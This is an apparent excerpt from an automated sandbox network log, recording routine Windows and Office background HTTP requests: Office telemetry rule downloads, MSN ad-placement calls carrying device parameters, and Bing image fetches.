Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T231535Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=f491e9200a6e49138fbd4a5d48232188&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617337&metered=false&nettype=ethernet&npid=sc-338387&oemName=weoost%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=weoost20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAXb/8B0h6MD+lipnPiN+E7IPKg8ML5pISMgc9UmRU/UC+WbU5XTRXiUA7BVctq4H+T5ceIUiVnoHtv3tGpKujxqKOGtnF+MDOZM7Y3AgsPfsotHMfOMclvEtGWd8OKRaDpLEvZd3OSRJNIxT0DU4FZkDG0yUKBr84hE9P7SNaao3ExoUGYQeP415kYth/Ksv+OmsBPEDJkPSHefHNjIbnWjY+FrbJKEOTtggvLM9u6p7rwE20WeROB9o+FEvGMNc7xRiMiVeIjkB5oWWJ0wE/qRAdS/l0qmr+OEba2O0t1uv2arRGRgxl/NEG8mDYdGtkEX40g65mVfO4wPJTUtYupYQZgAAEKIn5F2M01T7WVlJewyT/ZKwAb8TD3RFg03+kVzjPhsGYTSNKDM3gwdlA5hbM7qxbDNnE4OJmKzkg97gRX+tKGw4TkWaFFIZ2NRX+/rGO8NXDxhNjYL4P+SiKDmiFP8JrbXKSc8WqpM4lY8QmUV+VI+yfcCvf3/j7FMqRDDxB6MZ4lX6KkiH5JpPK6lZN6gNRuHHvdtU+xBSBrTjamdUrXgn0WGA71GCn/QRce3xsSjUn3zoCncQDwm6Q9YFDf6DOr1pkRBsvfqKD/dS2MCMusIKAvfvHRFl2eYH7i/HVaw4ygVZ1Lhdudq2NZ7TUBXvSsBmlgMpg9LVs79YuXjvsdktvcGtBb27cS4tvtxv7adPx+7/UNcpjeNyTEGpcfmqcXkk8f6BQSiota7gLCZ+xrTieGSvAcS9hl5K0UwrNUsDQDLkcVwnX1I3MRgAZLQebB3Lkg/u7fRTOr5+R6XQ08Ji0NZ2l5Lx7/RNOk44zPq8sdm9P9Ko95yRTcZasQjgt8gXFdEAkbtcd/uJzm2bGX4LycSEpAXcVGo4p5oMAb4OBGk6v7dSCZugHC767+LbVEcAbjKyDn2hLpI5PkVZS7GZbNgB&p=Cache-Control: no-cacheMS-CV: HSk4YAAtPEyazUeO.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T231536Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=50ae62cda00e47d08d50b45e5187813d&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617337&metered=false&nettype=ethernet&npid=sc-338388&oemName=weoost%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=weoost20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAXb/8B0h6MD+lipnPiN+E7IPKg8ML5pISMgc9UmRU/UC+WbU5XTRXiUA7BVctq4H+T5ceIUiVnoHtv3tGpKujxqKOGtnF+MDOZM7Y3AgsPfsotHMfOMclvEtGWd8OKRaDpLEvZd3OSRJNIxT0DU4FZkDG0yUKBr84hE9P7SNaao3ExoUGYQeP415kYth/Ksv+OmsBPEDJkPSHefHNjIbnWjY+FrbJKEOTtggvLM9u6p7rwE20WeROB9o+FEvGMNc7xRiMiVeIjkB5oWWJ0wE/qRAdS/l0qmr+OEba2O0t1uv2arRGRgxl/NEG8mDYdGtkEX40g65mVfO4wPJTUtYupYQZgAAEKIn5F2M01T7WVlJewyT/ZKwAb8TD3RFg03+kVzjPhsGYTSNKDM3gwdlA5hbM7qxbDNnE4OJmKzkg97gRX+tKGw4TkWaFFIZ2NRX+/rGO8NXDxhNjYL4P+SiKDmiFP8JrbXKSc8WqpM4lY8QmUV+VI+yfcCvf3/j7FMqRDDxB6MZ4lX6KkiH5JpPK6lZN6gNRuHHvdtU+xBSBrTjamdUrXgn0WGA71GCn/QRce3xsSjUn3zoCncQDwm6Q9YFDf6DOr1pkRBsvfqKD/dS2MCMusIKAvfvHRFl2eYH7i/HVaw4ygVZ1Lhdudq2NZ7TUBXvSsBmlgMpg9LVs79YuXjvsdktvcGtBb27cS4tvtxv7adPx+7/UNcpjeNyTEGpcfmqcXkk8f6BQSiota7gLCZ+xrTieGSvAcS9hl5K0UwrNUsDQDLkcVwnX1I3MRgAZLQebB3Lkg/u7fRTOr5+R6XQ08Ji0NZ2l5Lx7/RNOk44zPq8sdm9P9Ko95yRTcZasQjgt8gXFdEAkbtcd/uJzm2bGX4LycSEpAXcVGo4p5oMAb4OBGk6v7dSCZugHC767+LbVEcAbjKyDn2hLpI5PkVZS7GZbNgB&p=Cache-Control: no-cacheMS-CV: HSk4YAAtPEyazUeO.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T231535Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=86c593dfb45b4ae89894323e85f2acb4&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617337&metered=false&nettype=ethernet&npid=sc-280815&oemName=weoost%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=weoost20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAXb/8B0h6MD+lipnPiN+E7IPKg8ML5pISMgc9UmRU/UC+WbU5XTRXiUA7BVctq4H+T5ceIUiVnoHtv3tGpKujxqKOGtnF+MDOZM7Y3AgsPfsotHMfOMclvEtGWd8OKRaDpLEvZd3OSRJNIxT0DU4FZkDG0yUKBr84hE9P7SNaao3ExoUGYQeP415kYth/Ksv+OmsBPEDJkPSHefHNjIbnWjY+FrbJKEOTtggvLM9u6p7rwE20WeROB9o+FEvGMNc7xRiMiVeIjkB5oWWJ0wE/qRAdS/l0qmr+OEba2O0t1uv2arRGRgxl/NEG8mDYdGtkEX40g65mVfO4wPJTUtYupYQZgAAEKIn5F2M01T7WVlJewyT/ZKwAb8TD3RFg03+kVzjPhsGYTSNKDM3gwdlA5hbM7qxbDNnE4OJmKzkg97gRX+tKGw4TkWaFFIZ2NRX+/rGO8NXDxhNjYL4P+SiKDmiFP8JrbXKSc8WqpM4lY8QmUV+VI+yfcCvf3/j7FMqRDDxB6MZ4lX6KkiH5JpPK6lZN6gNRuHHvdtU+xBSBrTjamdUrXgn0WGA71GCn/QRce3xsSjUn3zoCncQDwm6Q9YFDf6DOr1pkRBsvfqKD/dS2MCMusIKAvfvHRFl2eYH7i/HVaw4ygVZ1Lhdudq2NZ7TUBXvSsBmlgMpg9LVs79YuXjvsdktvcGtBb27cS4tvtxv7adPx+7/UNcpjeNyTEGpcfmqcXkk8f6BQSiota7gLCZ+xrTieGSvAcS9hl5K0UwrNUsDQDLkcVwnX1I3MRgAZLQebB3Lkg/u7fRTOr5+R6XQ08Ji0NZ2l5Lx7/RNOk44zPq8sdm9P9Ko95yRTcZasQjgt8gXFdEAkbtcd/uJzm2bGX4LycSEpAXcVGo4p5oMAb4OBGk6v7dSCZugHC767+LbVEcAbjKyDn2hLpI5PkVZS7GZbNgB&p=Cache-Control: no-cacheMS-CV: HSk4YAAtPEyazUeO.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T231540Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=4f2364812fbe4551be33199e6dad61ee&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617337&metered=false&nettype=ethernet&npid=sc-280815&oemName=weoost%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=weoost20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAXb/8B0h6MD+lipnPiN+E7IPKg8ML5pISMgc9UmRU/UC+WbU5XTRXiUA7BVctq4H+T5ceIUiVnoHtv3tGpKujxqKOGtnF+MDOZM7Y3AgsPfsotHMfOMclvEtGWd8OKRaDpLEvZd3OSRJNIxT0DU4FZkDG0yUKBr84hE9P7SNaao3ExoUGYQeP415kYth/Ksv+OmsBPEDJkPSHefHNjIbnWjY+FrbJKEOTtggvLM9u6p7rwE20WeROB9o+FEvGMNc7xRiMiVeIjkB5oWWJ0wE/qRAdS/l0qmr+OEba2O0t1uv2arRGRgxl/NEG8mDYdGtkEX40g65mVfO4wPJTUtYupYQZgAAEKIn5F2M01T7WVlJewyT/ZKwAb8TD3RFg03+kVzjPhsGYTSNKDM3gwdlA5hbM7qxbDNnE4OJmKzkg97gRX+tKGw4TkWaFFIZ2NRX+/rGO8NXDxhNjYL4P+SiKDmiFP8JrbXKSc8WqpM4lY8QmUV+VI+yfcCvf3/j7FMqRDDxB6MZ4lX6KkiH5JpPK6lZN6gNRuHHvdtU+xBSBrTjamdUrXgn0WGA71GCn/QRce3xsSjUn3zoCncQDwm6Q9YFDf6DOr1pkRBsvfqKD/dS2MCMusIKAvfvHRFl2eYH7i/HVaw4ygVZ1Lhdudq2NZ7TUBXvSsBmlgMpg9LVs79YuXjvsdktvcGtBb27cS4tvtxv7adPx+7/UNcpjeNyTEGpcfmqcXkk8f6BQSiota7gLCZ+xrTieGSvAcS9hl5K0UwrNUsDQDLkcVwnX1I3MRgAZLQebB3Lkg/u7fRTOr5+R6XQ08Ji0NZ2l5Lx7/RNOk44zPq8sdm9P9Ko95yRTcZasQjgt8gXFdEAkbtcd/uJzm2bGX4LycSEpAXcVGo4p5oMAb4OBGk6v7dSCZugHC767+LbVEcAbjKyDn2hLpI5PkVZS7GZbNgB&p=Cache-Control: no-cacheMS-CV: HSk4YAAtPEyazUeO.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239337201808_1NREAF5SJS6TG8GUU&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T231540Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=f7c0ee8b5fd547a2b70b8f0544efb975&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617337&metered=false&nettype=ethernet&npid=sc-338388&oemName=weoost%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=weoost20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=531538185&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAXb/8B0h6MD+lipnPiN+E7IPKg8ML5pISMgc9UmRU/UC+WbU5XTRXiUA7BVctq4H+T5ceIUiVnoHtv3tGpKujxqKOGtnF+MDOZM7Y3AgsPfsotHMfOMclvEtGWd8OKRaDpLEvZd3OSRJNIxT0DU4FZkDG0yUKBr84hE9P7SNaao3ExoUGYQeP415kYth/Ksv+OmsBPEDJkPSHefHNjIbnWjY+FrbJKEOTtggvLM9u6p7rwE20WeROB9o+FEvGMNc7xRiMiVeIjkB5oWWJ0wE/qRAdS/l0qmr+OEba2O0t1uv2arRGRgxl/NEG8mDYdGtkEX40g65mVfO4wPJTUtYupYQZgAAEKIn5F2M01T7WVlJewyT/ZKwAb8TD3RFg03+kVzjPhsGYTSNKDM3gwdlA5hbM7qxbDNnE4OJmKzkg97gRX+tKGw4TkWaFFIZ2NRX+/rGO8NXDxhNjYL4P+SiKDmiFP8JrbXKSc8WqpM4lY8QmUV+VI+yfcCvf3/j7FMqRDDxB6MZ4lX6KkiH5JpPK6lZN6gNRuHHvdtU+xBSBrTjamdUrXgn0WGA71GCn/QRce3xsSjUn3zoCncQDwm6Q9YFDf6DOr1pkRBsvfqKD/dS2MCMusIKAvfvHRFl2eYH7i/HVaw4ygVZ1Lhdudq2NZ7TUBXvSsBmlgMpg9LVs79YuXjvsdktvcGtBb27cS4tvtxv7adPx+7/UNcpjeNyTEGpcfmqcXkk8f6BQSiota7gLCZ+xrTieGSvAcS9hl5K0UwrNUsDQDLkcVwnX1I3MRgAZLQebB3Lkg/u7fRTOr5+R6XQ08Ji0NZ2l5Lx7/RNOk44zPq8sdm9P9Ko95yRTcZasQjgt8gXFdEAkbtcd/uJzm2bGX4LycSEpAXcVGo4p5oMAb4OBGk6v7dSCZugHC767+LbVEcAbjKyDn2hLpI5PkVZS7GZbNgB&p=Cache-Control: no-cacheMS-CV: HSk4YAAtPEyazUeO.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T231541Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=2c807cae763a4309acd87634907dce12&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617337&metered=false&nettype=ethernet&npid=sc-338387&oemName=weoost%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=weoost20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=530725852,531209900,530725852&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAXb/8B0h6MD+lipnPiN+E7IPKg8ML5pISMgc9UmRU/UC+WbU5XTRXiUA7BVctq4H+T5ceIUiVnoHtv3tGpKujxqKOGtnF+MDOZM7Y3AgsPfsotHMfOMclvEtGWd8OKRaDpLEvZd3OSRJNIxT0DU4FZkDG0yUKBr84hE9P7SNaao3ExoUGYQeP415kYth/Ksv+OmsBPEDJkPSHefHNjIbnWjY+FrbJKEOTtggvLM9u6p7rwE20WeROB9o+FEvGMNc7xRiMiVeIjkB5oWWJ0wE/qRAdS/l0qmr+OEba2O0t1uv2arRGRgxl/NEG8mDYdGtkEX40g65mVfO4wPJTUtYupYQZgAAEKIn5F2M01T7WVlJewyT/ZKwAb8TD3RFg03+kVzjPhsGYTSNKDM3gwdlA5hbM7qxbDNnE4OJmKzkg97gRX+tKGw4TkWaFFIZ2NRX+/rGO8NXDxhNjYL4P+SiKDmiFP8JrbXKSc8WqpM4lY8QmUV+VI+yfcCvf3/j7FMqRDDxB6MZ4lX6KkiH5JpPK6lZN6gNRuHHvdtU+xBSBrTjamdUrXgn0WGA71GCn/QRce3xsSjUn3zoCncQDwm6Q9YFDf6DOr1pkRBsvfqKD/dS2MCMusIKAvfvHRFl2eYH7i/HVaw4ygVZ1Lhdudq2NZ7TUBXvSsBmlgMpg9LVs79YuXjvsdktvcGtBb27cS4tvtxv7adPx+7/UNcpjeNyTEGpcfmqcXkk8f6BQSiota7gLCZ+xrTieGSvAcS9hl5K0UwrNUsDQDLkcVwnX1I3MRgAZLQebB3Lkg/u7fRTOr5+R6XQ08Ji0NZ2l5Lx7/RNOk44zPq8sdm9P9Ko95yRTcZasQjgt8gXFdEAkbtcd/uJzm2bGX4LycSEpAXcVGo4p5oMAb4OBGk6v7dSCZugHC767+LbVEcAbjKyDn2hLpI5PkVZS7GZbNgB&p=Cache-Control: no-cacheMS-CV: HSk4YAAtPEyazUeO.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381017118_14OTD3KROFLZNBXSD&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381017117_1ROIJVZPQMMXB3DRW&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360298760_1IGUAAO0S19XMZR4M&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360298759_18SWFMUKVYFM3YLDD&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
